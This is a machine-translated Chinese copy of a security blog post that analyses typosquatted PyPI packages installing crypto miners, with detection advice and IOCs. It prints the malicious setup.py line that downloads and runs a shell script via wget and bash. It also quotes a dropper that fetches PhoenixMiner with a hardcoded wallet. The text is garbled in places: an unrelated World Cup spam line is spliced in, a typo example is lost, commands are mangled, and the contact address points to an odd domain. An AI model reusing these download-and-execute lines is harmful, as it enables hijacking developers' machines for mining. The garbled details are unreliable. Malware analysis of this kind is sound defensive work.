开发人员受到攻击-利用Typosquatting进行加密挖矿

利用Typosquatting进行加密挖矿

评审人员:

  • Shachar Menashe,高级安全研究主任
  • 伊泰·瓦克宁,威胁情报研究员

现代软件开发过程的复杂性及其对大型社区维护代码库的依赖为开发人员引入了一种风险,即无意中将恶意代码包含到项目中。其影响可能是严重的:在许多情况下,它可能意味着被攻击者完全接管所开发的程序或设备。

攻击者试图通过几种方式生成这种场景,其中包括试图将恶意代码或易受攻击的代码引入到开源项目中,并使用Typosquatting——将恶意代码添加到软件存储库中,例如PyPI而且npm在可能被错误包含在项目中的名称下(例如合法软件包的名称拼写错误)。

在这篇博客文章中,我们介绍了我们自己在Sonatype的一种新颖检测方法之上所做的额外研究,其中一些PyPI包被检测为恶意包,打包了一个用于挖矿的加密挖矿负载EthereumUbiq对于攻击者来说。

具体来说,我们将:

  1. 讨论自动检测这些恶意包的其他方法,这些方法可能表明供应链攻击
  2. 提供一种简单的方法去混淆攻击者的包
  3. 分析一个攻击包的更新变体
  4. 提供可操作的解决方案,开发人员可以使用这些解决方案来检测和防止对其机器的此类攻击

攻击的流程

恶意发布包的排版攻击流程可以总结如下:

  1. 攻击者向PyPI -发布了6个恶意包
    • Maratlibmaratlib1mplatlibmatplatlib-plus-包装上的错别字暗指流行产品matplotlibmplotlab
    • learninglibmllearnlib-对包含learnlib和mllearn的包进行错字处理
    • 上面的一些包只是代理包,其中包含一个实际的恶意包作为其依赖关系的一部分
  2. 恶意包下载并执行有效负载shell脚本
  3. 有效负载shell脚本下载并执行一个第三方加密矿机,T-Rex用于挖矿以太坊,ubqminer / PhoenixMiner用于挖矿Ubiq。资金转入几个采矿池,包括:
    • Kryptex 0 x510aec7f266557b7de753231820571b13eb31b57
    • Kryptex 0 xbaef4a87e8a92ad5911bc5b0a2a02ed9867c0124
    • Daggerhashimoto.usa-east.nicehash.com
    • daggerhashimoto.eu-north.nicehash.com

或者,用图表形式-

攻击的流程

Typosquatting的简要概述

Typosquatting是通过轻微的印刷错误获得(或“抢注”)一个流行名称的做法。例如,购买域名“google.com”(而不是合法的“google.com”),希望用户偶尔会出现输入错误,从而到达非法的域名。这可以进一步用于网络钓鱼和代码注入攻击。这种做法适用于许多不同的资源,例如网页、软件包名称,甚至可执行名称。2022世界杯阿根廷预选赛赛程在本例中,typosquatting攻击在PyPI上执行,同时诱骗任何在使用pip install时拼写错误“matplotlib”包名的开发人员。

Python有效负载- Naïve Typosquatting vs.一个木马包

在这种攻击的情况下,Python有效负载非常短和简单

(摘自maratlib包,0.6版本)

# UTF-8 import sys…从setuptools导入setup print(__import__("subprocess")。getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh")) setup(name="maratlib", version="0.6", description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"),# Obfuscated string packages=[], author_email=l111_cringe_ (u"ࠨࡤࡃ࡫ࡲࡧࡩ࡭࠰ࡦࡳࡲ࠭ࠄ"),# Obfuscated string zip_safe=False)

由于这是整个Python有效负载,因此使用自动化方法进行检测是基本的,因为“下载并执行”命令(特别是通过子进程使用shell时)是非常恶意的。

以前的一些供应链攻击要微妙得多,它们引入了一个“木马库”——这意味着一个库实际上有一定用途,但里面有一小段隐藏的恶意软件代码。例如,在以前的一次攻击中,一个恶意的npm包为控制台提供了丰富的日志记录功能,以及一个隐藏的凭据窃取程序。

Matplatlib-plus -在上面的轻微变化

matplatlib-plus有效载荷与在Sonatype的文章中研究过的maratlib略有不同。从高级的角度来看,它的操作是类似的-即从其GitHub存储库下载T-Rex加密矿机并运行它,但有几个区别:

该版本使用基于- 23.105.226.116:2016的SOCKS5代理下载有效载荷,并用于所有霸王龙通信:

./trex -a ethash -o stratum+tcp://daggerhashimoto[.]eu-north[.]nicehash[.]@ # @ @ @ @ @ @ @Yandex2—proxy 23[.]105[.]226[.]]116:2016 -fee 0 > frgjdse

此外,这里使用的混淆技术更复杂一些,所有算术操作都被替换为lambdas:

λ

代码还定期连接到这些流行的url之一,可能是为了检查网络连通性:

受欢迎的url

shell脚本“dropper”

如前所述,Python有效负载将下载并执行droppper脚本。

droppper是一个shell脚本,名为aza.shaza2.sh,这是极其天真的,即使是粗略的第一眼也会引起怀疑:

wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz tar xzf PhoenixMiner_4.2c_Linux.tar.gz cd PhoenixMiner_4.2c_Linux chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq. kryptxt .network:7000…

正如我们所看到的,droppper只是下载并执行一个加密矿机,在本例中是PhoenixMiner,并将结果发送到硬编码的Kryptex钱包。

这里没有做混淆的工作,而且这个shell脚本也很容易被检测到,这仅仅是因为使用了一个众所周知的加密挖掘工具。

克服软件包的混淆性

攻击者使用混淆来保护恶意逻辑不受手动分析和自动静态分析程序的影响。

在最初的文章中,通过找到恶意的“maratlib”包的旧版本,混淆问题被“跳过”了,但正如我们在这里展示的那样——处理新版本(例如,maratlib 1.0)的混淆问题也非常简单。

这段代码一开始看起来很模糊——前400行代码是乱码,包括base64字符串和算术运算——

克服包混淆

但更仔细的分析表明,大多数变量和操作都是“垃圾代码”,旨在误导人工调查,并没有真正用于恶意软件的逻辑。代码的其余部分要清楚得多,但阅读起来仍然很有挑战性:

克服包混淆2

从上图可以看出,攻击者主要基于字符串加密进行混淆。这个函数l1ll1ll11_lol_接受一个加密字符串作为参数并返回原始字符串。

通过在解释器中输出函数的输出,可以很容易地逆转混淆。例如,可以通过grepping所有对obfuscator函数的调用并将它们包装为打印(…)然后重新运行在安全的环境中(例如虚拟机):

克服包混淆

在通过一个合适的脚本自动化这个任务之后,我们将得到实际的恶意代码,在这种情况下,它下载并执行一个shell脚本seo.sh:

克服包混淆

错别字结论-检测和预防

自动检测混淆包

在我们的例子中,JFrog安全研究团队(以前的Vdoo)检测到这些包可能是恶意的,因为使用了混淆。具体来说,我们可以看到在maratlib和maratlib1中使用了基于eval的模糊处理:

使用eval在Python脚本(特别是通过PyPI发布的脚本)中,会立即引起怀疑,因为:

  1. 假设eval输入来自外部源(例如网络输入)。在这种情况下,该操作可能是一个动态代码加载攻击,这意味着屏蔽模块的真实代码(混淆),或者作为一个休眠后门,可以加载攻击者稍后发送的恶意负载。
  2. 如果eval输入是静态的(就像本例中那样),则此操作可用于混淆目的

加上适当的过滤器以避免误报,eval的使用是恶意活动的有力指示器。

自动检测Typosquatting攻击

一些有利于这种攻击(从攻击者的角度来看)的属性实际上可以用来对付攻击者。目标包必须是高度可见的:位于广泛使用的存储库中,并且足够广泛。所选的拼写错误的名称应该足够接近目标包的名称,这很容易使用众所周知的度量(Levenshtein或编辑距离)。因此,即使从非常浅的元数据(包名称和使用统计信息)中,也可以通过选择与另一个流行包的编辑距离较短的包,轻松地找到Typosquatting的候选包。使用它作为一阶过滤器,就可以研究可疑包的源代码(手动或自动),并寻找恶意行为的其他指示符,例如网络接口、加密API的使用或前面提到的任何恶意指示符。

防止类型化和依赖项混淆的开发人员操作

开发者可以自己动手避免这类攻击:

  1. 为了防止输入错误-检查所有Python依赖项,检查所有requirements.txt文件,并将所有依赖项传递给脚本,例如pypi-scan可以识别当前PyPI上现有的Typosquatting候选者。确保在各种代码库中没有将这些候选项标记为依赖项。

防止依赖关系混乱——管理在构建过程中解析依赖关系时查询存储库和提取工件的方式,例如,通过设置排除规则来防止在远程存储库中搜索内部私有工件,或者定义为了解析依赖关系而搜索不同存储库的顺序。更多信息可在我们最近的博客文章

维护操作,以防止对流行包存储库的typosquting攻击

一些包管理器维护人员决定采取更积极的方法来阻止这些攻击,例如,在PyPI上,除了删除恶意包之外,还有一些用户故意保留“容易出现typosquatting”的名称,这样它们就不能被恶意使用(例如用户htdge已经做了几个包)。

npm维护者自己也扮演着积极的角色,并在描述下保留了数千个包。”安全持有包”。

附录- IOCs

Python包:

  • maratlib
  • maratlib1
  • mplatlib
  • matplatlib-plus
  • learninglib
  • mllearnlib

“诱导多能性”:

  • 23.105.226.116 (SOCKS5代理)

域:

  • (地层矿池)
  • (地层矿池)

问题吗?想法吗?如有任何疑问,请通过research@www.si-fil.com联系我们安全漏洞

除了将发现和负责任地披露漏洞作为我们日常活动的一部分外,JFrog安全研究团队还通过授权组织通过自动安全分析发现漏洞来提高软件安全性。有关JFrog DevOps平台安全特性的更多信息和更新-点击这里